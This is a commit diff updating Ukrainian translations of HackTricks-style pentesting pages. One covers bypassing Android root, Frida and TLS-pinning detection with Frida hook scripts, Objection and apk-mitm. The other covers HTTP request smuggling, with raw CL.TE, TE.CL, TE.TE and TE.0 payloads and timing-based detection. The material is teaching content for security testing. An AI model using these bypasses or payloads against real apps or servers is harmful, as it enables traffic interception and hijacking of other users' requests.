Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/m

This commit is contained in:
Translator 2025-08-22 16:38:13 +00:00
parent 4f6aa61504
commit a2e42a1147
4 changed files with 377 additions and 307 deletions

View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
Ця сторінка надає практичний робочий процес для відновлення динамічного аналізу проти Android додатків, які виявляють/блокують інструментацію або забезпечують TLS пінning. Вона зосереджена на швидкій тріажі, загальних виявленнях та копіювальних хуках/тактиках для обходу їх без повторної упаковки, коли це можливо.
Ця сторінка надає практичний робочий процес для відновлення динамічного аналізу проти Android-додатків, які виявляють/блокують інструментування через root або застосовують TLS pinning. Вона фокусується на швидкій триажі, поширених детекціях та копіюваних hooks/тактиках для їх обходу без репакування, коли це можливо.
## Detection Surface (що перевіряють додатки)
- Перевірки root: su binary, шляхи Magisk, значення getprop, загальні пакети root
- Перевірки Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), сканування /proc, classpath, завантажені бібліотеки
- Нативний anti-debug: ptrace(), syscalls, anti-attach, breakpoints, inline hooks
- Перевірки раннього ініціалізації: Application.onCreate() або хуки запуску процесу, які викликають збій, якщо присутня інструментація
- TLS пінning: кастомний TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, нативні пінни
- Перевірки root: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native antidebug: ptrace(), syscalls, antiattach, breakpoints, inline hooks
- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
## Step 1 — Quick win: hide root with Magisk DenyList
- Увімкніть Zygisk в Magisk
- Увімкніть DenyList, додайте цільовий пакет
- Перезавантажте та повторно протестуйте
- Увімкнути Zygisk в Magisk
- Увімкнути DenyList, додати цільовий пакет
- Перезавантажити та повторно протестувати
Багато додатків лише шукають очевидні індикатори (su/Magisk paths/getprop). DenyList часто нейтралізує наївні перевірки.
Багато додатків перевіряють лише очевидні індикатори (su/Magisk paths/getprop). DenyList часто нейтралізує наївні перевірки.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30second Frida Codeshare tests
Спробуйте загальні скрипти перед глибоким зануренням:
Спробуйте поширені dropin скрипти перед глибоким аналізом:
- anti-root-bypass.js
- anti-frida-detection.js
@ -35,42 +35,42 @@ Example:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
Це зазвичай зупиняє перевірки Java root/debug, сканування процесів/сервісів та native ptrace(). Корисно для слабо захищених додатків; для посилених цілей можуть знадобитися спеціалізовані хуки.
Ці методи зазвичай підмінюють Java root/debug checks, process/service scans та native ptrace(). Корисні для слабо захищених додатків; для жорстко захищених цілей можуть знадобитися індивідуальні hooks.
- Codeshare: https://codeshare.frida.re/
## Крок 3 — Обійти детектори під час ініціалізації, приєднуючись пізніше
## Step 3 — Обійти init-time detectors, приєднавшись пізніше
Багато детекцій запускаються лише під час створення процесу/onCreate(). Ін'єкції під час створення (-f) або гаджети потрапляють у пастку; приєднання після завантаження UI може пройти повз.
Багато детекцій виконуються лише під час process spawn/onCreate(). Spawntime injection (-f) або gadgets потрапляють у вир; приєднання після завантаження UI може пройти непоміченим.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Якщо це працює, підтримуйте сесію стабільною і продовжте картографування та перевірки stub.
If this works, keep the session stable and proceed to map and stub checks.
## Крок 4 — Картографування логіки виявлення за допомогою Jadx та пошуку рядків
## Крок 4 — Картографування логіки виявлення через Jadx та пошук рядків
Статичні ключові слова для триажу в Jadx:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Типові шаблони Java:
Типові Java патерни:
```java
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
```
Загальні API для перегляду/перехоплення:
Поширені API для перегляду/hook:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
## Крок 5 — Статичне підміщення з Frida (Java)
## Крок 5 — Замінювання поведінки на час виконання з Frida (Java)
Перезапишіть користувацькі охоронці, щоб повернути безпечні значення без повторної упаковки:
Перевизначте користувацькі перевірки (guards), щоб повертати безпечні значення без перепакування:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
Тріаж ранніх збоїв? Вивантажте класи безпосередньо перед тим, як він помре, щоб виявити ймовірні простори імен для виявлення:
Тріаж ранніх крашів? Dump classes одразу перед тим, як додаток падає, щоб виявити ймовірні detection namespaces:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
});
});
```
Логування та нейтралізація підозрілих методів для підтвердження виконання потоку:
Реєструйте та нейтралізуйте підозрілі методи, щоб підтвердити потік виконання:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -104,24 +104,24 @@ return false;
};
});
```
## Крок 6 — Слідуйте за шляхом JNI/нативним, коли Java хуки не спрацьовують
## Крок 6 — Дотримуйтесь сліду JNI/native, коли Java hooks не працюють
Відстежте точки входу JNI, щоб знайти нативні завантажувачі та ініціалізацію виявлення:
Відстежте точки входу JNI, щоб знайти native loaders і detection init:
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
Швидка нативна тріаж bundled .so файлів:
Швидкий нативний триаж упакованих .so-файлів:
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
```
Інтерактивне/нативне реверсування:
Інтерактивний/нативний реверсинг:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Приклад: нейтралізувати ptrace, щоб подолати простий анти‑дебаг у libc:
Приклад: нейтралізувати ptrace, щоб обійти простий antidebug у libc:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -130,40 +130,43 @@ return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}
```
Дивіться також: {{#ref}}
Див. також:
{{#ref}}
reversing-native-libraries.md
{{#endref}}
## Крок 7 — Патчинг Objection (вбудований гаджет / основи видалення)
## Крок 7 — Objection patching (embed gadget / strip basics)
Коли ви віддаєте перевагу перепаковці до хуків часу виконання, спробуйте:
Коли ви віддаєте перевагу repacking замість runtime hooks, спробуйте:
```bash
objection patchapk --source app.apk
```
Notes:
- Потрібен apktool; переконайтеся, що у вас актуальна версія з офіційного посібника, щоб уникнути проблем зі збіркою: https://apktool.org/docs/install
- Впровадження гаджетів дозволяє інструментацію без root, але все ще може бути виявлено більш потужними перевірками під час ініціалізації.
Примітки:
- Потребує apktool; переконайтесь, що у вас актуальна версія згідно офіційного керівництва, щоб уникнути проблем зі збіркою: https://apktool.org/docs/install
- Gadget injection дозволяє instrumentation без root, але все ще може бути виявлений сильнішими inittime перевірками.
References:
Посилання:
- Objection: https://github.com/sensepost/objection
## Step 8 — Fallback: Patch TLS pinning for network visibility
## Крок 8 — Запасний варіант: Запатчити TLS pinning для огляду мережевого трафіку
If instrumentation is blocked, you can still inspect traffic by removing pinning statically:
Якщо instrumentation заблоковано, ви все одно можете переглянути трафік, статично видаливши pinning:
```bash
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
```
- Інструмент: https://github.com/shroudedcode/apk-mitm
- Для налаштувань мережі CAtrust трюків (та довіри CA користувача Android 7+), дивіться:
- Для трюків із network config CAtrust (та Android 7+ user CA trust), див.:
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
{{#ref}}
install-burp-certificate.md
{{#endref}}
## Зручний командний шпаргалка
## Зручна шпаргалка команд
```bash
# List processes and attach
frida-ps -Uai
@ -183,10 +186,10 @@ apk-mitm app.apk
```
## Поради та застереження
- Віддавайте перевагу пізньому приєднанню замість створення нових процесів, коли програми аварійно завершують роботу під час запуску
- Деякі виявлення повторно запускаються в критичних потоках (наприклад, оплата, автентифікація) — тримайте хуки активними під час навігації
- Поєднуйте статичний та динамічний аналіз: шукайте рядки в Jadx, щоб скоротити список класів; потім підключайте методи для перевірки під час виконання
- Посилені програми можуть використовувати пакувальники та нативне TLS-пінning — очікуйте реверсування нативного коду
- Краще attach пізніше, ніж spawn, якщо apps падають при запуску
- Деякі detections rerun в критичних потоках (наприклад, payment, auth) — тримайте hooks активними під час navigation
- Поєднуйте static та dynamic: string hunt в Jadx, щоб звузити список класів; потім hook methods, щоб перевірити під час runtime
- Hardened apps можуть використовувати packers та native TLS pinning — очікуйте reverse native code
## Посилання

View File

@ -2,62 +2,63 @@
{{#include ../../banners/hacktricks-training.md}}
## Що таке
Ця вразливість виникає, коли **десинхронізація** між **фронтальними проксі** та **бекенд** сервером дозволяє **зловмиснику** **надіслати** HTTP **запит**, який буде **інтерпретований** як **один запит** фронтальними проксі (балансування навантаження/реверсний проксі) і **як 2 запити** бекенд сервером.\
Це дозволяє користувачу **модифікувати наступний запит, який надходить до бекенд сервера після його**.
## Що це
Ця вразливість виникає, коли між **front-end proxies** і **back-end** сервером відбувається **desyncronization**, що дозволяє **attacker** надіслати HTTP **request**, який буде **interpreted** як **single request** фронт-енд проксі (load balance/reverse-proxy) і **as 2 request** для **back-end** сервера.\
Це дозволяє користувачу **modify the next request that arrives to the back-end server after his**.
### Теорія
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
> Якщо повідомлення отримано з обома заголовками Transfer-Encoding та Content-Length, останній ПОВИНЕН бути проігнорований.
> Якщо повідомлення отримано з обома полями заголовка Transfer-Encoding та Content-Length, останнє MUST бути ігнороване.
**Content-Length**
> Заголовок Content-Length вказує розмір тіла сутності в байтах, надісланих отримувачу.
> Заголовок entity Content-Length вказує розмір entity-body в байтах, що відправляється отримувачу.
**Transfer-Encoding: chunked**
> Заголовок Transfer-Encoding вказує форму кодування, що використовується для безпечної передачі тіла навантаження користувачу.\
> Chunked означає, що великі дані надсилаються серією частин.
> Заголовок Transfer-Encoding вказує форму кодування, яка використовується для безпечної передачі payload body користувачу.\
> Chunked означає, що великі дані надсилаються серією чанків.
### Реальність
**Фронтальне** (балансування навантаження / Реверсний проксі) **обробляє** заголовок _**content-length**_ або _**transfer-encoding**_ і **бекенд** сервер **обробляє інший**, викликаючи **десинхронізацію** між 2 системами.\
Це може бути дуже критично, оскільки **зловмисник зможе надіслати один запит** до реверсного проксі, який буде **інтерпретований** бекенд сервером **як 2 різні запити**. **Небезпека** цієї техніки полягає в тому, що **бекенд** сервер **інтерпретує** **2-й запит, що інжектується**, як якщо б він **надійшов від наступного клієнта**, а **реальний запит** цього клієнта буде **частиною** **інжектованого запиту**.
**Front-End** (load-balance / Reverse Proxy) **process** один з заголовків — _**content-length**_ або _**transfer-encoding**_, а **Back-end** сервер **process** інший, спричиняючи **desyncronization** між двома системами.\
Це може бути дуже критично, оскільки **attacker** зможе надіслати один запит до reverse proxy, який **back-end** сервер **interprets** як **2 різні запити**. Суть техніки в тому, що **back-end** сервер **буде трактувати** **2-й інжектований запит** так, ніби він **надійшов від наступного клієнта**, а реальний запит цього клієнта стане **частиною інжектованого запиту**.
### Особливості
Пам'ятайте, що в HTTP **новий символ рядка складається з 2 байтів:**
Пам'ятайте, що в HTTP **символ нового рядка складається з 2 байтів:**
- **Content-Length**: Цей заголовок використовує **десяткове число** для вказівки **кількості** **байтів** тіла запиту. Тіло, як очікується, закінчується останнім символом, **новий рядок не потрібен в кінці запиту**.
- **Transfer-Encoding:** Цей заголовок використовує в **тілі** **шістнадцяткове число** для вказівки **кількості** **байтів** **наступного фрагмента**. **Фрагмент** повинен **закінчуватися** новим рядком, але цей новий рядок **не враховується** індикатором довжини. Цей метод передачі повинен закінчуватися **фрагментом розміром 0, за яким слідують 2 нові рядки**: `0`
- **Connection**: Згідно з моїм досвідом, рекомендується використовувати **`Connection: keep-alive`** в першому запиті при смугуванні запитів.
- **Content-Length**: цей заголовок використовує **десяткове число**, щоб вказати **кількість байтів** тіла запиту. Тіло очікується закінченим останнім символом, **новий рядок у кінці запиту не потрібен**.
- **Transfer-Encoding:** цей заголовок використовує в **тілі** **шістнадцяткове число**, щоб вказати **кількість байтів** наступного чанку. **Чанк** повинен **закінчуватися** новим рядком, але цей новий рядок **не враховується** індикатором довжини. Цей метод передачі має завершуватися **чанком розміру 0, після якого йдуть 2 нові лінії**: `0`
- **Connection**: на основі мого досвіду рекомендовано використовувати **`Connection: keep-alive`** в першому запиті при спробі Request Smuggling.
## Основні приклади
## Базові приклади
> [!TIP]
> При спробі експлуатувати це з Burp Suite **вимкніть `Update Content-Length` та `Normalize HTTP/1 line endings`** в повторювачі, оскільки деякі гаджети зловживають новими рядками, поверненнями каретки та неправильно сформованими content-length.
> Під час експлуатації через Burp Suite **відключіть `Update Content-Length` та `Normalize HTTP/1 line endings`** в Repeater, оскільки деякі гаджети використовують newlines, carriage returns та malformed content-lengths.
Атаки на смугування HTTP запитів створюються шляхом надсилання неоднозначних запитів, які експлуатують розбіжності в тому, як фронтальні та бекенд сервери інтерпретують заголовки `Content-Length` (CL) та `Transfer-Encoding` (TE). Ці атаки можуть проявлятися в різних формах, головним чином як **CL.TE**, **TE.CL** та **TE.TE**. Кожен тип представляє унікальну комбінацію того, як фронтальні та бекенд сервери пріоритетизують ці заголовки. Вразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.
HTTP request smuggling атаки формуються шляхом відправлення неоднозначних запитів, що експлуатують розбіжності в тому, як front-end і back-end сервери інтерпретують заголовки `Content-Length` (CL) та `Transfer-Encoding` (TE). Ці атаки можуть проявлятися в різних формах, переважно як **CL.TE**, **TE.CL** та **TE.TE**. Кожен тип представляє унікальну комбінацію пріоритету обробки цих заголовків фронт-ендом та бекендом. Уразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.
### Основні приклади типів вразливостей
### Базові приклади типів вразливостей
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!TIP]
> До попередньої таблиці слід додати техніку TE.0, як техніку CL.0, але з використанням Transfer Encoding.
> До попередньої таблиці варто додати техніку TE.0, аналогічну CL.0, але з використанням Transfer-Encoding.
#### Вразливість CL.TE (Content-Length використовується фронтальним, Transfer-Encoding використовується бекендом)
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Фронтальне (CL):** Обробляє запит на основі заголовка `Content-Length`.
- **Бекенд (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
- **Front-End (CL):** Обробляє запит на основі заголовка `Content-Length`.
- **Back-End (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
- **Сценарій атаки:**
- Зловмисник надсилає запит, де значення заголовка `Content-Length` не відповідає фактичній довжині вмісту.
- Фронтальний сервер пересилає весь запит до бекенду, спираючись на значення `Content-Length`.
- Бекенд сервер обробляє запит як фрагментований через заголовок `Transfer-Encoding: chunked`, інтерпретуючи залишкові дані як окремий, наступний запит.
- Attacker надсилає запит, де значення заголовка `Content-Length` не відповідає фактичній довжині контенту.
- Front-end сервер пересилає весь запит на back-end, виходячи зі значення `Content-Length`.
- Back-end сервер обробляє запит як chunked через заголовок `Transfer-Encoding: chunked`, інтерпретуючи залишкові дані як окремий, наступний запит.
- **Приклад:**
```
@ -73,15 +74,15 @@ GET /404 HTTP/1.1
Foo: x
```
#### Вразливість TE.CL (Transfer-Encoding використовується фронтальним, Content-Length використовується бекендом)
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
- **Фронтальне (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
- **Бекенд (CL):** Обробляє запит на основі заголовка `Content-Length`.
- **Front-End (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
- **Back-End (CL):** Обробляє запит на основі заголовка `Content-Length`.
- **Сценарій атаки:**
- Зловмисник надсилає фрагментований запит, де розмір фрагмента (`7b`) і фактична довжина вмісту (`Content-Length: 4`) не збігаються.
- Фронтальний сервер, поважаючи `Transfer-Encoding`, пересилає весь запит до бекенду.
- Бекенд сервер, поважаючи `Content-Length`, обробляє лише початкову частину запиту (`7b` байтів), залишаючи решту частиною ненавмисного наступного запиту.
- Attacker надсилає chunked-запит, де розмір чанку (`7b`) і фактична довжина контенту (`Content-Length: 4`) не співпадають.
- Front-end сервер, дотримуючись `Transfer-Encoding`, пересилає весь запит на back-end.
- Back-end сервер, дотримуючись `Content-Length`, обробляє тільки початкову частину запиту (`7b` байтів), залишаючи решту як невиправданий наступний запит.
- **Приклад:**
```
@ -102,14 +103,14 @@ x=
```
#### Вразливість TE.TE (Transfer-Encoding використовується обома, з обфускацією)
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Сервери:** Обидва підтримують `Transfer-Encoding`, але один може бути обманутий, щоб ігнорувати його через обфускацію.
- **Servers:** Обидва підтримують `Transfer-Encoding`, але одного з них можна обдурити, щоб він ігнорував заголовок через обфускацію.
- **Сценарій атаки:**
- Зловмисник надсилає запит з обфускованими заголовками `Transfer-Encoding`.
- В залежності від того, який сервер (фронтальний або бекенд) не розпізнає обфускацію, може бути експлуатована вразливість CL.TE або TE.CL.
- Непроцесована частина запиту, як видно з одного з серверів, стає частиною наступного запиту, що призводить до смугування.
- Attacker надсилає запит з обфускованими заголовками `Transfer-Encoding`.
- Залежно від того, який сервер (front-end або back-end) не розпізнає обфускацію, може бути експлуатовано CL.TE або TE.CL вразливість.
- Невипрацьована частина запиту, як її бачить один із серверів, стає частиною наступного запиту, що призводить до smuggling.
- **Приклад:**
```
@ -129,10 +130,10 @@ Transfer-Encoding
: chunked
```
#### **Сценарій CL.CL (Content-Length використовується як фронтальним, так і бекендом)**
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
- Обидва сервери обробляють запит виключно на основі заголовка `Content-Length`.
- Цей сценарій зазвичай не призводить до смугування, оскільки є узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
- Зазвичай цей сценарій не призводить до smuggling, оскільки є узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
- **Приклад:**
```
@ -144,10 +145,10 @@ Connection: keep-alive
Normal Request
```
#### **Сценарій CL.0**
#### **CL.0 Scenario**
- Відноситься до сценаріїв, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, що вказує на те, що тіло запиту має вміст. Бекенд ігнорує заголовок `Content-Length` (який розглядається як 0), але фронтальний його обробляє.
- Це важливо для розуміння та створення атак на смугування, оскільки це впливає на те, як сервери визначають кінець запиту.
- Відноситься до сценаріїв, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, що вказує, що тіло запиту має вміст. Back-end ігнорує заголовок `Content-Length` (вважаючи його 0), але front-end його парсить.
- Це важливо при розумінні і створенні smuggling-атак, оскільки впливає на те, як сервери визначають кінець запиту.
- **Приклад:**
```
@ -159,11 +160,11 @@ Connection: keep-alive
Non-Empty Body
```
#### Сценарій TE.0
#### TE.0 Scenario
- Як попередній, але з використанням TE
- Як попередній, але з використанням TE.
- Техніка [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Приклад:**
- **Приклад**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -181,33 +182,34 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### Ломання веб-сервера
#### Порушення роботи web server
Ця техніка також корисна в сценаріях, де можливо **зламати веб-сервер під час читання початкових HTTP-даних**, але **без закриття з'єднання**. Таким чином, **тіло** HTTP-запиту буде вважатися **наступним HTTP-запитом**.
Ця техніка також корисна в сценаріях, коли можна **порушити роботу web server під час читання початкових HTTP-даних**, але **не закриваючи з'єднання**. Таким чином **body** HTTP-запиту буде розглядатися як **next HTTP request**.
Наприклад, як пояснено в [**цьому описі**](https://mizu.re/post/twisty-python), у Werkzeug було можливо надіслати деякі **Unicode** символи, і це призведе до **зламу** сервера. Однак, якщо HTTP-з'єднання було створено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому **тіло** запиту буде розглядатися як **наступний HTTP-запит**.
Наприклад, як пояснено в [**this writeup**](https://mizu.re/post/twisty-python), у Werkzeug можна було відправити деякі **Unicode** символи, які викликали збій сервера. Однак, якщо HTTP-з'єднання було встановлено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитане і з'єднання залишиться відкритим, тож **body** запиту буде трактуватися як **next HTTP request**.
#### Примус через заголовки hop-by-hop
#### Forcing via hop-by-hop headers
Зловживаючи заголовками hop-by-hop, ви можете вказати проксі **видалити заголовок Content-Length або Transfer-Encoding, щоб зловживання HTTP-запитом було можливим**.
Зловживаючи hop-by-hop headers, можна змусити proxy **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
```
Connection: Content-Length
```
Для **додаткової інформації про заголовки hop-by-hop** відвідайте:
For **more information about hop-by-hop headers** visit:
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## Виявлення HTTP Request Smuggling
## Пошук HTTP Request Smuggling
Виявлення вразливостей HTTP request smuggling часто можна досягти за допомогою технік таймінгу, які базуються на спостереженні за тим, скільки часу потрібно серверу для відповіді на маніпульовані запити. Ці техніки особливо корисні для виявлення вразливостей CL.TE та TE.CL. Окрім цих методів, існують інші стратегії та інструменти, які можна використовувати для знаходження таких вразливостей:
Виявлення вразливостей HTTP request smuggling часто досягається за допомогою таймінгових технік, які базуються на спостереженні за тим, скільки часу сервер відповідає на модифіковані запити. Ці техніки особливо корисні для виявлення вразливостей CL.TE та TE.CL. Окрім цих методів, існують інші стратегії та інструменти для пошуку таких вразливостей:
### Виявлення вразливостей CL.TE за допомогою технік таймінгу
### Пошук вразливостей CL.TE за допомогою таймінгових технік
- **Метод:**
- Надішліть запит, який, якщо додаток вразливий, змусить сервер на задньому плані чекати на додаткові дані.
- Надіслати запит, який, якщо застосунок вразливий, змусить back-end сервер чекати додаткові дані.
- **Приклад:**
```
@ -223,18 +225,18 @@ A
```
- **Спостереження:**
- Сервер на передньому плані обробляє запит на основі `Content-Length` і перериває повідомлення передчасно.
- Сервер на задньому плані, очікуючи на частину повідомлення, чекає на наступну частину, яка ніколи не приходить, що викликає затримку.
- Front-end сервер обробляє запит на основі `Content-Length` і передчасно обрізає повідомлення.
- Back-end сервер, очікуючи chunked-повідомлення, чекає наступного chunk'у, який ніколи не надходить, що спричиняє затримку.
- **Індикатори:**
- Тайм-аути або тривалі затримки у відповіді.
- Отримання помилки 400 Bad Request від сервера на задньому плані, іноді з детальною інформацією про сервер.
- Таймаути або довгі затримки у відповіді.
- Отримання 400 Bad Request від back-end сервера, іноді з детальною інформацією про сервер.
### Виявлення вразливостей TE.CL за допомогою технік таймінгу
### Пошук вразливостей TE.CL за допомогою таймінгових технік
- **Метод:**
- Надішліть запит, який, якщо додаток вразливий, змусить сервер на задньому плані чекати на додаткові дані.
- Надіслати запит, який, якщо застосунок вразливий, змусить back-end сервер чекати додаткові дані.
- **Приклад:**
```
@ -249,41 +251,41 @@ X
```
- **Спостереження:**
- Сервер на передньому плані обробляє запит на основі `Transfer-Encoding` і пересилає все повідомлення.
- Сервер на задньому плані, очікуючи на повідомлення на основі `Content-Length`, чекає на додаткові дані, які ніколи не приходять, що викликає затримку.
- Front-end сервер обробляє запит на основі `Transfer-Encoding` і пересилає все повідомлення.
- Back-end сервер, очікуючи повідомлення на основі `Content-Length`, чекає додаткових даних, які ніколи не надходять, що спричиняє затримку.
### Інші методи для виявлення вразливостей
### Інші методи пошуку вразливостей
- **Аналіз диференційних відповідей:**
- Надішліть трохи змінені версії запиту та спостерігайте, чи відповіді сервера відрізняються несподіваним чином, що вказує на розбіжність у парсингу.
- **Диференційний аналіз відповіді:**
- Надіслати трохи змінені версії запиту і спостерігати, чи відрізняються відповіді сервера несподіваним чином, що вказує на розбіжність у парсингу.
- **Використання автоматизованих інструментів:**
- Інструменти, такі як розширення 'HTTP Request Smuggler' Burp Suite, можуть автоматично перевіряти ці вразливості, надсилаючи різні форми неоднозначних запитів і аналізуючи відповіді.
- **Тести на варіацію Content-Length:**
- Надсилайте запити з різними значеннями `Content-Length`, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності.
- **Тести на варіацію Transfer-Encoding:**
- Надсилайте запити з обфусцированими або неправильно сформованими заголовками `Transfer-Encoding` і спостерігайте, як по-різному реагують сервери на передньому та задньому плані на такі маніпуляції.
- Інструменти на кшталт Burp Suite's 'HTTP Request Smuggler' extension можуть автоматично тестувати на ці вразливості, надсилаючи різні неоднозначні запити і аналізуючи відповіді.
- **Тести на варіації Content-Length:**
- Надіслати запити з різними значеннями `Content-Length`, які не відповідають фактичній довжині контенту, і спостерігати, як сервер обробляє такі невідповідності.
- **Тести на варіації Transfer-Encoding:**
- Надіслати запити з обфускованими або пошкодженими заголовками `Transfer-Encoding` і відстежувати, як front-end і back-end сервери реагують на такі маніпуляції.
### Тестування вразливостей HTTP Request Smuggling
### HTTP Request Smuggling Vulnerability Testing
Після підтвердження ефективності технік таймінгу важливо перевірити, чи можна маніпулювати запитами клієнта. Простий метод - спробувати отруїти свої запити, наприклад, зробивши запит до `/`, щоб отримати відповідь 404. Приклади `CL.TE` та `TE.CL`, обговорені раніше в [Basic Examples](#basic-examples), демонструють, як отруїти запит клієнта, щоб викликати відповідь 404, незважаючи на те, що клієнт намагається отримати доступ до іншого ресурсу.
Після підтвердження ефективності таймінгових технік важливо перевірити, чи можна маніпулювати клієнтськими запитами. Прямий метод — спробувати отруїти (poison) ваші запити, наприклад зробити так, щоб запит до `/` повертав 404. Приклади CL.TE та TE.CL, обговорені раніше в [Basic Examples](#basic-examples), показують, як отруїти клієнтський запит, щоб викликати 404 відповідь, хоча клієнт намагався доступитися до іншого ресурсу.
**Ключові міркування**
**Ключові моменти**
При тестуванні на вразливості request smuggling, втручаючись в інші запити, пам'ятайте:
При тестуванні на request smuggling шляхом втручання в інші запити, майте на увазі:
- **Відокремлені мережеві з'єднання:** "Атакуючі" та "нормальні" запити повинні надсилатися через окремі мережеві з'єднання. Використання одного й того ж з'єднання для обох не підтверджує наявність вразливості.
- **Послідовні URL та параметри:** Намагайтеся використовувати однакові URL та імена параметрів для обох запитів. Сучасні додатки часто маршрутизують запити до конкретних серверів на задньому плані на основі URL та параметрів. Відповідність цим підвищує ймовірність того, що обидва запити обробляються одним і тим же сервером, що є передумовою для успішної атаки.
- **Таймінг та умови гонки:** "Нормальний" запит, призначений для виявлення втручання з "атакуючого" запиту, змагається з іншими одночасними запитами додатка. Тому надсилайте "нормальний" запит відразу після "атакуючого" запиту. Завантажені додатки можуть вимагати кількох спроб для підтвердження вразливості.
- **Виклики балансування навантаження:** Сервери на передньому плані, які діють як балансувальники навантаження, можуть розподіляти запити між різними системами на задньому плані. Якщо "атакуючі" та "нормальні" запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування навантаження може вимагати кількох спроб для підтвердження вразливості.
- **Непередбачуваний вплив на користувачів:** Якщо ваша атака ненавмисно впливає на запит іншого користувача (не "нормальний" запит, який ви надіслали для виявлення), це вказує на те, що ваша атака вплинула на іншого користувача додатка. Постійне тестування може порушити роботу інших користувачів, що вимагає обережного підходу.
- **Окремі мережеві з'єднання:** "attack" і "normal" запити мають відправлятися по різних мережевих з'єднаннях. Використання того самого з'єднання для обох не підтверджує наявність вразливості.
- **Ідентичні URL та параметри:** Намагайтеся використовувати однакові URL і імена параметрів для обох запитів. Сучасні застосунки часто маршрутизують запити до конкретних back-end серверів на основі URL і параметрів. Відповідність підвищує ймовірність того, що обидва запити оброблятимуться тим самим сервером — це передумова успішної атаки.
- **Таймінг і умови гонки (racing conditions):** "Normal" запит, який має виявити втручання від "attack" запиту, конкурує з іншими одночасними запитами застосунку. Тому надсилайте "normal" запит одразу після "attack". Завантажені застосунки можуть вимагати кількох спроб для однозначного підтвердження вразливості.
- **Проблеми балансування навантаження:** Front-end сервери, що виступають як load balancers, можуть розподіляти запити між різними back-end системами. Якщо "attack" і "normal" запити потрапляють на різні системи, атака не спрацює. Через це може знадобитися кілька спроб, щоб підтвердити наявність вразливості.
- **Непередбачений вплив на користувачів:** Якщо ваша атака випадково впливає на запит іншого користувача (а не на "normal" запит, який ви надіслали для виявлення), це означає, що ваша атака вплинула на іншого користувача застосунку. Постійне тестування може порушувати роботу інших користувачів, тому підходьте обережно.
## Розрізнення артефактів HTTP/1.1 pipelining та справжнього request smuggling
## Відокремлення артефактів HTTP/1.1 pipelining від genuine request smuggling
Повторне використання з'єднання (keep-alive) та pipelining можуть легко створювати ілюзії "smuggling" в тестових інструментах, які надсилають кілька запитів на одному сокеті. Навчіться відокремлювати безпечні артефакти на стороні клієнта від реального десинхронізації на стороні сервера.
